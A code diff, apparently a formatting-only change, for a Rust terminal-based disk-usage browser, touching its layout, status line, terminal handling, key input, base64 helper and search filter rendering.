return self.warn(format!("Rescan failed: {}", textutil::sanitize(&e.to_string()))); return self.warn(format!(
"Rescan failed: {}",
textutil::sanitize(&e.to_string())
));
} }
}; };
self.scanning = s.is_some(); self.scanning = s.is_some();
@@ -536,13 +604,18 @@ impl Model {
/// Re-zooms into the remembered directory once the new scan has /// Re-zooms into the remembered directory once the new scan has
/// discovered it. Takes the read lock itself. /// discovered it. Takes the read lock itself.
pub fn resolve_pending_zoom(&mut self) { pub fn resolve_pending_zoom(&mut self) {
let Some(pz) = self.pending_zoom.clone() else { return }; let Some(pz) = self.pending_zoom.clone() else {
return;
};
let arc = self.tree.clone(); let arc = self.tree.clone();
let t = arc.read().unwrap(); let t = arc.read().unwrap();
let root = t.path_bytes(0); let root = t.path_bytes(0);
let rel: &[u8] = if pz == root { let rel: &[u8] = if pz == root {
b"" b""
} else if let Some(r) = pz.strip_prefix(root.as_slice()).filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) { } else if let Some(r) = pz
.strip_prefix(root.as_slice())
.filter(|r| root.ends_with(b"/") || r.starts_with(b"/"))
{
r r
} else { } else {
self.pending_zoom = None; self.pending_zoom = None;
+2 -1
View File
@@ -32,7 +32,8 @@ impl Model {
for i in (0..self.hits.len()).rev() { for i in (0..self.hits.len()).rev() {
if self.hits[i].r.contains(x, y) { if self.hits[i].r.contains(x, y) {
let key = (y as i64) << 32 | i as i64; let key = (y as i64) << 32 | i as i64;
let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK) && self.last_click_i == key; let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK)
&& self.last_click_i == key;
(self.last_click, self.last_click_i) = (Some(Instant::now()), key); (self.last_click, self.last_click_i) = (Some(Instant::now()), key);
if double { if double {
self.last_click_i = NO_SEL; self.last_click_i = NO_SEL;
+137 -27
View File
@@ -1,9 +1,9 @@
//! Frame composition: panel geometry, tabs, breadcrumbs, info and status //! Frame composition: panel geometry, tabs, breadcrumbs, info and status
//! lines. //! lines.
use super::canvas::{Canvas, Color, Depth, Style, Attr, BOLD, REVERSE, UNDERLINE}; use super::canvas::{Attr, Canvas, Color, Depth, Style, BOLD, REVERSE, UNDERLINE};
use super::model::{is_group, Hit, HitAct, Model, Profile}; use super::model::{is_group, Hit, HitAct, Model, Profile};
use super::{fmt_date, san, tw, trunc_left}; use super::{fmt_date, san, trunc_left, tw};
use crate::brand; use crate::brand;
use crate::inventory::{Kind, Node, Tree, FLAG_SCANNED, NO_NODE}; use crate::inventory::{Kind, Node, Tree, FLAG_SCANNED, NO_NODE};
use crate::textutil; use crate::textutil;
@@ -46,21 +46,46 @@ pub(crate) fn compute_geometry(w: i32, h: i32) -> (SizeClass, Geometry) {
}; };
let mut y = 0; let mut y = 0;
if class >= SizeClass::Medium { if class >= SizeClass::Medium {
g.tabs = Rect { x: 0, y: 0, w, h: 1 }; g.tabs = Rect {
x: 0,
y: 0,
w,
h: 1,
};
y = 1; y = 1;
} }
g.crumbs = Rect { x: 0, y, w, h: 1 }; g.crumbs = Rect { x: 0, y, w, h: 1 };
y += 1; y += 1;
let mut bottom = h - 1; let mut bottom = h - 1;
g.stat = Rect { x: 0, y: h - 1, w, h: 1 }; g.stat = Rect {
x: 0,
y: h - 1,
w,
h: 1,
};
if class >= SizeClass::Medium { if class >= SizeClass::Medium {
g.info = Rect { x: 0, y: h - 2, w, h: 1 }; g.info = Rect {
x: 0,
y: h - 2,
w,
h: 1,
};
bottom = h - 2; bottom = h - 2;
} }
g.main = Rect { x: 0, y, w, h: bottom - y }; g.main = Rect {
x: 0,
y,
w,
h: bottom - y,
};
if class == SizeClass::Large { if class == SizeClass::Large {
let sw = 40.min(w / 5); let sw = 40.min(w / 5);
g.side = Rect { x: 0, y, w: sw, h: g.main.h }; g.side = Rect {
x: 0,
y,
w: sw,
h: g.main.h,
};
(g.main.x, g.main.w) = (sw, w - sw); (g.main.x, g.main.w) = (sw, w - sw);
} }
(class, g) (class, g)
@@ -114,7 +139,11 @@ impl Model {
fn render_too_small(&self, cv: &mut Canvas) { fn render_too_small(&self, cv: &mut Canvas) {
let st = self.theme.muted(); let st = self.theme.muted();
let lines = ["Terminal too small".to_string(), format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H), "q quits".to_string()]; let lines = [
"Terminal too small".to_string(),
format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H),
"q quits".to_string(),
];
let y0 = 0.max((self.h - lines.len() as i32) / 2); let y0 = 0.max((self.h - lines.len() as i32) / 2);
for (i, l) in lines.iter().enumerate() { for (i, l) in lines.iter().enumerate() {
cv.text_centered(0, y0 + i as i32, self.w, l, st); cv.text_centered(0, y0 + i as i32, self.w, l, st);
@@ -133,8 +162,18 @@ impl Model {
fn paint_tabs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) { fn paint_tabs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
let t = self.theme.clone(); let t = self.theme.clone();
cv.fill(r, " ", t.header()); cv.fill(r, " ", t.header());
let badge = if t.ascii { format!(" {} ", brand::NAME) } else { format!(" ◧ {} ", brand::NAME) }; let badge = if t.ascii {
let mut x = cv.text(r.x, r.y, &badge, r.w, Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev())); format!(" {} ", brand::NAME)
} else {
format!(" ◧ {} ", brand::NAME)
};
let mut x = cv.text(
r.x,
r.y,
&badge,
r.w,
Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev()),
);
x += 1; x += 1;
let names: Vec<&'static str> = self.views.iter().map(|v| v.name()).collect(); let names: Vec<&'static str> = self.views.iter().map(|v| v.name()).collect();
for (i, name) in names.iter().enumerate() { for (i, name) in names.iter().enumerate() {
@@ -148,7 +187,10 @@ impl Model {
break; break;
} }
let w = cv.text(x, r.y, &label, r.w - x, st); let w = cv.text(x, r.y, &label, r.w - x, st);
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::SetView(i) }); self.hits.push(Hit {
r: Rect { x, y: r.y, w, h: 1 },
act: HitAct::SetView(i),
});
x += w; x += w;
} }
// Right-aligned chips. // Right-aligned chips.
@@ -177,7 +219,13 @@ impl Model {
break; break;
} }
rx -= w; rx -= w;
cv.text(rx, r.y, &s, w, Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev())); cv.text(
rx,
r.y,
&s,
w,
Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev()),
);
rx -= 1; rx -= 1;
} }
} }
@@ -206,10 +254,20 @@ impl Model {
right = format!(" {} ", textutil::size_compact(size)); right = format!(" {} ", textutil::size_compact(size));
rw = tw(&right); rw = tw(&right);
} }
cv.text_right(r.x, r.y, r.w, &right, Style::new(t.header_fg, t.header_bg).with(BOLD)); cv.text_right(
r.x,
r.y,
r.w,
&right,
Style::new(t.header_fg, t.header_bg).with(BOLD),
);
let sep = if t.ascii { " > " } else { " › " }; let sep = if t.ascii { " > " } else { " › " };
let segs: Vec<(u32, String)> = tr.ancestors(self.zoom).into_iter().map(|id| (id, san(&tr.node(id).name))).collect(); let segs: Vec<(u32, String)> = tr
.ancestors(self.zoom)
.into_iter()
.map(|id| (id, san(&tr.node(id).name)))
.collect();
let avail = r.w - rw - 2; let avail = r.w - rw - 2;
// Drop leading segments until the rest fits; keep at least the last. // Drop leading segments until the rest fits; keep at least the last.
let total = |from: usize| { let total = |from: usize| {
@@ -231,17 +289,40 @@ impl Model {
} }
let mut x = r.x + 1; let mut x = r.x + 1;
if from > 0 { if from > 0 {
x += cv.text(x, r.y, &format!("…{sep}"), avail, Style::new(t.muted, t.header_bg)); x += cv.text(
x,
r.y,
&format!("…{sep}"),
avail,
Style::new(t.muted, t.header_bg),
);
} }
for i in from..segs.len() { for i in from..segs.len() {
if i > from { if i > from {
x += cv.text(x, r.y, sep, r.x + 1 + avail - x, Style::new(t.faint, t.header_bg)); x += cv.text(
x,
r.y,
sep,
r.x + 1 + avail - x,
Style::new(t.faint, t.header_bg),
);
} }
let last = i == segs.len() - 1; let last = i == segs.len() - 1;
let st = if last { Style::new(t.fg, t.header_bg).with(BOLD) } else { Style::new(t.muted, t.header_bg) }; let st = if last {
let s = if last { trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x)) } else { segs[i].1.clone() }; Style::new(t.fg, t.header_bg).with(BOLD)
} else {
Style::new(t.muted, t.header_bg)
};
let s = if last {
trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x))
} else {
segs[i].1.clone()
};
let w = cv.text(x, r.y, &s, r.x + 1 + avail - x, st); let w = cv.text(x, r.y, &s, r.x + 1 + avail - x, st);
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::ZoomTo(segs[i].0) }); self.hits.push(Hit {
r: Rect { x, y: r.y, w, h: 1 },
act: HitAct::ZoomTo(segs[i].0),
});
x += w; x += w;
} }
} }
@@ -279,9 +360,14 @@ impl Model {
return "Nothing selected".into(); return "Nothing selected".into();
} }
let n = tr.node(id); let n = tr.node(id);
let mut parts = vec![format!("▸ {}", san(&n.name)), textutil::size(self.size_of(tr, id))]; let mut parts = vec![
format!("▸ {}", san(&n.name)),
textutil::size(self.size_of(tr, id)),
];
if n.parent != NO_NODE { if n.parent != NO_NODE {
parts.push(textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent"); parts.push(
textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent",
);
} }
if n.is_dir() { if n.is_dir() {
parts.push(textutil::count(n.files as i64) + " files"); parts.push(textutil::count(n.files as i64) + " files");
@@ -308,8 +394,18 @@ impl Model {
fn paint_status(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect, class: SizeClass) { fn paint_status(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect, class: SizeClass) {
let t = self.theme.clone(); let t = self.theme.clone();
cv.fill(r, " ", t.status()); cv.fill(r, " ", t.status());
let help = if class == SizeClass::Small { " ? " } else { " ? help " }; let help = if class == SizeClass::Small {
let hw = cv.text(r.x + r.w - tw(help), r.y, help, r.w, Style::new(t.muted, t.status_bg)); " ? "
} else {
" ? help "
};
let hw = cv.text(
r.x + r.w - tw(help),
r.y,
help,
r.w,
Style::new(t.muted, t.status_bg),
);
let avail = r.w - hw - 1; let avail = r.w - hw - 1;
if !self.toast.is_empty() { if !self.toast.is_empty() {
cv.text(r.x + 1, r.y, &self.toast, avail - 1, self.toast_style); cv.text(r.x + 1, r.y, &self.toast, avail - 1, self.toast_style);
@@ -320,8 +416,15 @@ impl Model {
let files = st.files + st.symlinks + st.others; let files = st.files + st.symlinks + st.others;
let mut parts: Vec<(String, Color)> = Vec::new(); let mut parts: Vec<(String, Color)> = Vec::new();
if self.scanning { if self.scanning {
let ms = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default().as_millis(); let ms = std::time::SystemTime::now()
let frame = if t.ascii { "*" } else { SPINNER[(ms / 100) as usize % SPINNER.len()] }; .duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default()
.as_millis();
let frame = if t.ascii {
"*"
} else {
SPINNER[(ms / 100) as usize % SPINNER.len()]
};
parts.push((format!("{frame} scanning"), t.accent)); parts.push((format!("{frame} scanning"), t.accent));
} else if st.cancelled { } else if st.cancelled {
parts.push(("✗ cancelled".into(), t.warn)); parts.push(("✗ cancelled".into(), t.warn));
@@ -334,8 +437,15 @@ impl Model {
parts.push((textutil::size(root.total(self.size_mode)), t.status_fg)); parts.push((textutil::size(root.total(self.size_mode)), t.status_fg));
if self.scanning { if self.scanning {
let el = st.elapsed(); let el = st.elapsed();
let p = self.scanner.as_ref().map(|s| s.progress()).unwrap_or_default(); let p = self
parts.push((textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s", t.status_fg)); .scanner
.as_ref()
.map(|s| s.progress())
.unwrap_or_default();
parts.push((
textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s",
t.status_fg,
));
if class != SizeClass::Small { if class != SizeClass::Small {
parts.push((format!("{} workers", p.workers), t.muted)); parts.push((format!("{} workers", p.workers), t.muted));
parts.push((format!("queue {}", textutil::count(p.pending)), t.muted)); parts.push((format!("queue {}", textutil::count(p.pending)), t.muted));
+98 -18
View File
@@ -11,7 +11,9 @@ use crate::brand;
use crate::cancel::Cancel; use crate::cancel::Cancel;
use crate::textutil; use crate::textutil;
use crossbeam_channel::{after, select, Receiver, Sender}; use crossbeam_channel::{after, select, Receiver, Sender};
use crossterm::event::{self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind}; use crossterm::event::{
self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind,
};
use crossterm::{cursor, execute, terminal}; use crossterm::{cursor, execute, terminal};
use std::fmt::Write as _; use std::fmt::Write as _;
use std::io::{self, Write}; use std::io::{self, Write};
@@ -26,7 +28,8 @@ static TERMINATED: AtomicBool = AtomicBool::new(false);
/// Mouse off (1000/1002/1003/1015/1006), bracketed paste off, cursor on, /// Mouse off (1000/1002/1003/1015/1006), bracketed paste off, cursor on,
/// main screen. /// main screen.
const RESTORE: &str = "\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l"; const RESTORE: &str =
"\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l";
fn write_raw(s: &str) { fn write_raw(s: &str) {
let mut b = s.as_bytes(); let mut b = s.as_bytes();
@@ -84,7 +87,18 @@ fn detect_profile() -> Profile {
if ct == "truecolor" || ct == "24bit" || term.ends_with("-direct") { if ct == "truecolor" || ct == "24bit" || term.ends_with("-direct") {
return Profile::TrueColor; return Profile::TrueColor;
} }
if ["kitty", "alacritty", "wezterm", "ghostty", "foot", "contour", "rio"].iter().any(|t| term.contains(t)) { if [
"kitty",
"alacritty",
"wezterm",
"ghostty",
"foot",
"contour",
"rio",
]
.iter()
.any(|t| term.contains(t))
{
return Profile::TrueColor; return Profile::TrueColor;
} }
if term.contains("256color") || !ct.is_empty() { if term.contains("256color") || !ct.is_empty() {
@@ -100,7 +114,11 @@ pub fn run(opts: Options) -> Result<(), crate::Error> {
let forced = forced_profile(&opts.color); let forced = forced_profile(&opts.color);
if forced.is_none() && !opts.color.is_empty() && opts.color != "auto" { if forced.is_none() && !opts.color.is_empty() && opts.color != "auto" {
cancel.cancel(); cancel.cancel();
return Err(format!("invalid --color {:?} (auto, truecolor, 256, 16, none)", opts.color).into()); return Err(format!(
"invalid --color {:?} (auto, truecolor, 256, 16, none)",
opts.color
)
.into());
} }
let mouse = opts.mouse; let mouse = opts.mouse;
let mut m = Model::new(opts, s, t, cancel.clone()); let mut m = Model::new(opts, s, t, cancel.clone());
@@ -111,7 +129,11 @@ pub fn run(opts: Options) -> Result<(), crate::Error> {
std::thread::spawn(|| { std::thread::spawn(|| {
std::thread::sleep(Duration::from_millis(500)); std::thread::sleep(Duration::from_millis(500));
// Mirrors the scanner's guard: a worker panic aborts after the hook. // Mirrors the scanner's guard: a worker panic aborts after the hook.
if std::panic::catch_unwind(|| panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")).is_err() { if std::panic::catch_unwind(|| {
panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")
})
.is_err()
{
std::process::abort(); std::process::abort();
} }
}); });
@@ -127,7 +149,13 @@ fn enter_terminal(mouse: bool) -> io::Result<()> {
terminal::enable_raw_mode()?; terminal::enable_raw_mode()?;
ACTIVE.store(true, Ordering::SeqCst); ACTIVE.store(true, Ordering::SeqCst);
let mut out = io::stdout(); let mut out = io::stdout();
execute!(out, terminal::EnterAlternateScreen, cursor::Hide, event::EnableBracketedPaste, terminal::SetTitle(brand::NAME))?; execute!(
out,
terminal::EnterAlternateScreen,
cursor::Hide,
event::EnableBracketedPaste,
terminal::SetTitle(brand::NAME)
)?;
if mouse { if mouse {
execute!(out, event::EnableMouseCapture)?; execute!(out, event::EnableMouseCapture)?;
} }
@@ -140,7 +168,11 @@ fn convert_key(ev: KeyEvent) -> Option<Key> {
return None; return None;
} }
let m = ev.modifiers; let m = ev.modifiers;
let (ctrl, alt, shift) = (m.contains(KeyModifiers::CONTROL), m.contains(KeyModifiers::ALT), m.contains(KeyModifiers::SHIFT)); let (ctrl, alt, shift) = (
m.contains(KeyModifiers::CONTROL),
m.contains(KeyModifiers::ALT),
m.contains(KeyModifiers::SHIFT),
);
let mut prefix = String::new(); let mut prefix = String::new();
if ctrl { if ctrl {
prefix += "ctrl+"; prefix += "ctrl+";
@@ -148,14 +180,37 @@ fn convert_key(ev: KeyEvent) -> Option<Key> {
if alt { if alt {
prefix += "alt+"; prefix += "alt+";
} }
let named = |n: &str| Some(Key { name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }), text: String::new(), ctrl_alt: ctrl || alt }); let named = |n: &str| {
Some(Key {
name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }),
text: String::new(),
ctrl_alt: ctrl || alt,
})
};
match ev.code { match ev.code {
KeyCode::Char(c) => { KeyCode::Char(c) => {
let base = if c == ' ' { "space".to_string() } else if ctrl || alt { c.to_lowercase().collect() } else { c.to_string() }; let base = if c == ' ' {
let text = if ctrl || alt { String::new() } else { c.to_string() }; "space".to_string()
Some(Key { name: prefix + &base, text, ctrl_alt: ctrl || alt }) } else if ctrl || alt {
c.to_lowercase().collect()
} else {
c.to_string()
};
let text = if ctrl || alt {
String::new()
} else {
c.to_string()
};
Some(Key {
name: prefix + &base,
text,
ctrl_alt: ctrl || alt,
})
} }
KeyCode::BackTab => Some(Key { name: format!("{prefix}shift+tab"), ..Default::default() }), KeyCode::BackTab => Some(Key {
name: format!("{prefix}shift+tab"),
..Default::default()
}),
KeyCode::Enter => named("enter"), KeyCode::Enter => named("enter"),
KeyCode::Esc => named("esc"), KeyCode::Esc => named("esc"),
KeyCode::Tab => named("tab"), KeyCode::Tab => named("tab"),
@@ -256,7 +311,9 @@ fn base64(b: &[u8]) -> String {
const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
let mut s = String::with_capacity(b.len().div_ceil(3) * 4); let mut s = String::with_capacity(b.len().div_ceil(3) * 4);
for c in b.chunks(3) { for c in b.chunks(3) {
let n = (c[0] as u32) << 16 | (*c.get(1).unwrap_or(&0) as u32) << 8 | *c.get(2).unwrap_or(&0) as u32; let n = (c[0] as u32) << 16
| (*c.get(1).unwrap_or(&0) as u32) << 8
| *c.get(2).unwrap_or(&0) as u32;
for i in 0..4 { for i in 0..4 {
if i <= c.len() { if i <= c.len() {
s.push(A[(n >> (18 - 6 * i) & 63) as usize] as char); s.push(A[(n >> (18 - 6 * i) & 63) as usize] as char);
@@ -332,7 +389,14 @@ fn line_diff(old: &str, new: &str) -> Vec<(usize, std::ops::Range<usize>)> {
} }
impl Screen { impl Screen {
fn draw(&mut self, out: &mut impl Write, frame: &str, w: i32, h: i32, extra: &str) -> io::Result<()> { fn draw(
&mut self,
out: &mut impl Write,
frame: &str,
w: i32,
h: i32,
extra: &str,
) -> io::Result<()> {
self.buf.clear(); self.buf.clear();
self.buf.push_str("\x1b[?2026h"); // synchronized output, where supported self.buf.push_str("\x1b[?2026h"); // synchronized output, where supported
if (w, h) != self.size { if (w, h) != self.size {
@@ -386,7 +450,11 @@ fn event_loop(m: &mut Model) -> io::Result<()> {
std::thread::spawn(move || input_thread(tx, stop)); std::thread::spawn(move || input_thread(tx, stop));
} }
let (w, h) = terminal::size()?; let (w, h) = terminal::size()?;
let mut rt = Runtime { tx, timers: Vec::new(), out: String::new() }; let mut rt = Runtime {
tx,
timers: Vec::new(),
out: String::new(),
};
rt.exec(m.update(Msg::Size(w as i32, h as i32))); rt.exec(m.update(Msg::Size(w as i32, h as i32)));
let init = m.init(); let init = m.init();
rt.exec(init); rt.exec(init);
@@ -414,7 +482,9 @@ fn event_loop(m: &mut Model) -> io::Result<()> {
// Fire due timers, then drain whatever else is queued before the next // Fire due timers, then drain whatever else is queued before the next
// frame, so bursts (resize storms) cost one render. // frame, so bursts (resize storms) cost one render.
let now = Instant::now(); let now = Instant::now();
let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers).into_iter().partition(|t| t.0 <= now); let (due, later): (Vec<_>, Vec<_>) = std::mem::take(&mut rt.timers)
.into_iter()
.partition(|t| t.0 <= now);
rt.timers = later; rt.timers = later;
for (_, msg) in due { for (_, msg) in due {
let c = m.update(msg); let c = m.update(msg);
@@ -438,7 +508,14 @@ mod tests {
#[test] #[test]
fn base64_matches_rfc4648() { fn base64_matches_rfc4648() {
for (i, o) in [("", ""), ("f", "Zg=="), ("fo", "Zm8="), ("foo", "Zm9v"), ("foob", "Zm9vYg=="), ("foobar", "Zm9vYmFy")] { for (i, o) in [
("", ""),
("f", "Zg=="),
("fo", "Zm8="),
("foo", "Zm9v"),
("foob", "Zm9vYg=="),
("foobar", "Zm9vYmFy"),
] {
assert_eq!(base64(i.as_bytes()), o); assert_eq!(base64(i.as_bytes()), o);
} }
} }
@@ -450,7 +527,10 @@ mod tests {
s.draw(&mut out, "a\nb\nc", 1, 3, "").unwrap(); s.draw(&mut out, "a\nb\nc", 1, 3, "").unwrap();
out.clear(); out.clear();
s.draw(&mut out, "a\nX\nc", 1, 3, "").unwrap(); s.draw(&mut out, "a\nX\nc", 1, 3, "").unwrap();
assert_eq!(String::from_utf8(out).unwrap(), "\x1b[?2026h\x1b[2;1HX\x1b[?2026l"); assert_eq!(
String::from_utf8(out).unwrap(),
"\x1b[?2026h\x1b[2;1HX\x1b[?2026l"
);
// Within a line only the differing style runs are rewritten. // Within a line only the differing style runs are rewritten.
let a = "\x1b[0;1mab\x1b[0;7m日x\x1b[0mcd\x1b[0m"; let a = "\x1b[0;1mab\x1b[0;7m日x\x1b[0mcd\x1b[0m";
let b = "\x1b[0;1mab\x1b[0;7m日y\x1b[0mcd\x1b[0m"; let b = "\x1b[0;1mab\x1b[0;7m日y\x1b[0mcd\x1b[0m";
+52 -10
View File
@@ -2,7 +2,7 @@
use super::canvas::{Canvas, Style, BOLD}; use super::canvas::{Canvas, Style, BOLD};
use super::model::{Cmd, Key, Model, Msg}; use super::model::{Cmd, Key, Model, Msg};
use super::{tw, trunc}; use super::{trunc, tw};
use crate::cancel::Cancel; use crate::cancel::Cancel;
use crate::filter::{self, FilterResult, Query}; use crate::filter::{self, FilterResult, Query};
use crate::inventory::Tree; use crate::inventory::Tree;
@@ -74,7 +74,11 @@ impl LineEditor {
if k.text.is_empty() || k.ctrl_alt { if k.text.is_empty() || k.ctrl_alt {
return (false, false); return (false, false);
} }
let rs: Vec<char> = k.text.chars().filter(|&r| r >= ' ' && r != '\x7f').collect(); let rs: Vec<char> = k
.text
.chars()
.filter(|&r| r >= ' ' && r != '\x7f')
.collect();
if rs.is_empty() || self.buf.len() + rs.len() > 1024 { if rs.is_empty() || self.buf.len() + rs.len() > 1024 {
return (false, true); return (false, true);
} }
@@ -174,7 +178,9 @@ impl Model {
/// Evaluates the current query in the background. The tree is /// Evaluates the current query in the background. The tree is
/// read-locked by the worker; stale results are discarded by generation. /// read-locked by the worker; stale results are discarded by generation.
pub fn apply_filter(&mut self) -> Cmd { pub fn apply_filter(&mut self) -> Cmd {
let Some(q) = self.search.query.clone() else { return Cmd::None }; let Some(q) = self.search.query.clone() else {
return Cmd::None;
};
if let Some(c) = self.search.cancel.take() { if let Some(c) = self.search.cancel.take() {
c.cancel(); c.cancel();
} }
@@ -235,7 +241,11 @@ impl Model {
} else if s.busy { } else if s.busy {
"filtering…".into() "filtering…".into()
} else if let Some(res) = &s.result { } else if let Some(res) = &s.result {
format!("{} matches · {}", textutil::count(res.count), textutil::size(res.total)) format!(
"{} matches · {}",
textutil::count(res.count),
textutil::size(res.total)
)
} else if s.ed.buf.is_empty() { } else if s.ed.buf.is_empty() {
"name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear".into() "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear".into()
} else { } else {
@@ -245,14 +255,28 @@ impl Model {
let avail = r.w - (x - r.x) - sw - 3; let avail = r.w - (x - r.x) - sw - 3;
// Scroll the text so the cursor stays visible. // Scroll the text so the cursor stays visible.
let text = &s.ed.buf; let text = &s.ed.buf;
let start = if s.ed.cur as i32 > avail - 1 { (s.ed.cur as i32 - avail + 1) as usize } else { 0 }; let start = if s.ed.cur as i32 > avail - 1 {
(s.ed.cur as i32 - avail + 1) as usize
} else {
0
};
let end = text.len().min(start + avail.max(0) as usize).max(start); let end = text.len().min(start + avail.max(0) as usize).max(start);
let vis: String = text[start..end].iter().collect(); let vis: String = text[start..end].iter().collect();
cv.text(x, r.y, &textutil::sanitize(&vis), avail, st); cv.text(x, r.y, &textutil::sanitize(&vis), avail, st);
let before: String = text[start..s.ed.cur].iter().collect(); let before: String = text[start..s.ed.cur].iter().collect();
let cx = x + tw(&textutil::sanitize(&before)); let cx = x + tw(&textutil::sanitize(&before));
let under = if s.ed.cur < text.len() { textutil::sanitize(&text[s.ed.cur].to_string()) } else { " ".into() }; let under = if s.ed.cur < text.len() {
cv.text(cx, r.y, &under, 2, Style::new(t.panel_bg, t.fg).with(self.mono_rev())); textutil::sanitize(&text[s.ed.cur].to_string())
} else {
" ".into()
};
cv.text(
cx,
r.y,
&under,
2,
Style::new(t.panel_bg, t.fg).with(self.mono_rev()),
);
cv.text_right(r.x, r.y, r.w - 1, &trunc(&status, sw), status_st); cv.text_right(r.x, r.y, r.w - 1, &trunc(&status, sw), status_st);
} }
@@ -260,9 +284,21 @@ impl Model {
let t = &self.theme; let t = &self.theme;
let s = &self.search; let s = &self.search;
let mut x = r.x + 1; let mut x = r.x + 1;
x += cv.text(x, r.y, " FILTER ", 8, Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev())); x += cv.text(
x,
r.y,
" FILTER ",
8,
Style::new(t.text_on(t.warn), t.warn).with(BOLD | self.mono_rev()),
);
let q = s.query.as_ref().map(|q| q.to_string()).unwrap_or_default(); let q = s.query.as_ref().map(|q| q.to_string()).unwrap_or_default();
x += cv.text(x + 1, r.y, &textutil::sanitize(&q), r.w / 2, Style::new(t.fg, t.panel_bg).with(BOLD)) + 1; x += cv.text(
x + 1,
r.y,
&textutil::sanitize(&q),
r.w / 2,
Style::new(t.fg, t.panel_bg).with(BOLD),
) + 1;
let mut info = "filtering…".to_string(); let mut info = "filtering…".to_string();
if let (Some(res), false) = (&s.result, s.busy) { if let (Some(res), false) = (&s.result, s.busy) {
info = format!( info = format!(
@@ -272,6 +308,12 @@ impl Model {
textutil::size(tr.node(0).total(self.size_mode)) textutil::size(tr.node(0).total(self.size_mode))
); );
} }
cv.text(x + 2, r.y, &info, r.x + r.w - x - 3, Style::new(t.muted, t.panel_bg)); cv.text(
x + 2,
r.y,
&info,
r.x + r.w - x - 3,
Style::new(t.muted, t.panel_bg),
);
} }
} }
+53 -9
View File
@@ -15,7 +15,16 @@ impl Model {
let t = self.theme.clone(); let t = self.theme.clone();
let ps = t.panel(); let ps = t.panel();
cv.fill(r, " ", ps); cv.fill(r, " ", ps);
cv.fill(Rect { x: r.x + r.w - 1, y: r.y, w: 1, h: r.h }, "│", Style::new(t.faint, t.panel_bg)); cv.fill(
Rect {
x: r.x + r.w - 1,
y: r.y,
w: 1,
h: r.h,
},
"│",
Style::new(t.faint, t.panel_bg),
);
let w = r.w - 3; let w = r.w - 3;
let x = r.x + 1; let x = r.x + 1;
let mut y = r.y + 1; let mut y = r.y + 1;
@@ -45,21 +54,43 @@ impl Model {
} }
} }
y += 1; y += 1;
kvl(cv, &mut y, "Size", &textutil::size(self.size_of(tr, self.zoom)), val); kvl(
cv,
&mut y,
"Size",
&textutil::size(self.size_of(tr, self.zoom)),
val,
);
kvl(cv, &mut y, "Logical", &textutil::size(z.tot_size), plain); kvl(cv, &mut y, "Logical", &textutil::size(z.tot_size), plain);
kvl(cv, &mut y, "Allocated", &textutil::size(z.tot_alloc), plain); kvl(cv, &mut y, "Allocated", &textutil::size(z.tot_alloc), plain);
kvl(cv, &mut y, "Files", &textutil::count(z.files as i64), plain); kvl(cv, &mut y, "Files", &textutil::count(z.files as i64), plain);
kvl(cv, &mut y, "Directories", &textutil::count(z.dirs as i64), plain); kvl(
cv,
&mut y,
"Directories",
&textutil::count(z.dirs as i64),
plain,
);
if z.errors > 0 { if z.errors > 0 {
kvl(cv, &mut y, "Errors", &textutil::count(z.errors as i64), Style::new(t.err, t.panel_bg).with(BOLD)); kvl(
cv,
&mut y,
"Errors",
&textutil::count(z.errors as i64),
Style::new(t.err, t.panel_bg).with(BOLD),
);
} }
y += 1; y += 1;
// Category breakdown with proportional bars. // Category breakdown with proportional bars.
if let Some(cs) = tr.cat_sizes(self.zoom) { if let Some(cs) = tr.cat_sizes(self.zoom) {
head(cv, &mut y, "CATEGORIES"); head(cv, &mut y, "CATEGORIES");
let mut cats: Vec<(Category, i64)> = let mut cats: Vec<(Category, i64)> = cs
cs.iter().enumerate().filter(|(_, &v)| v > 0).map(|(i, &v)| (Category::from_u8(i as u8), v)).collect(); .iter()
.enumerate()
.filter(|(_, &v)| v > 0)
.map(|(i, &v)| (Category::from_u8(i as u8), v))
.collect();
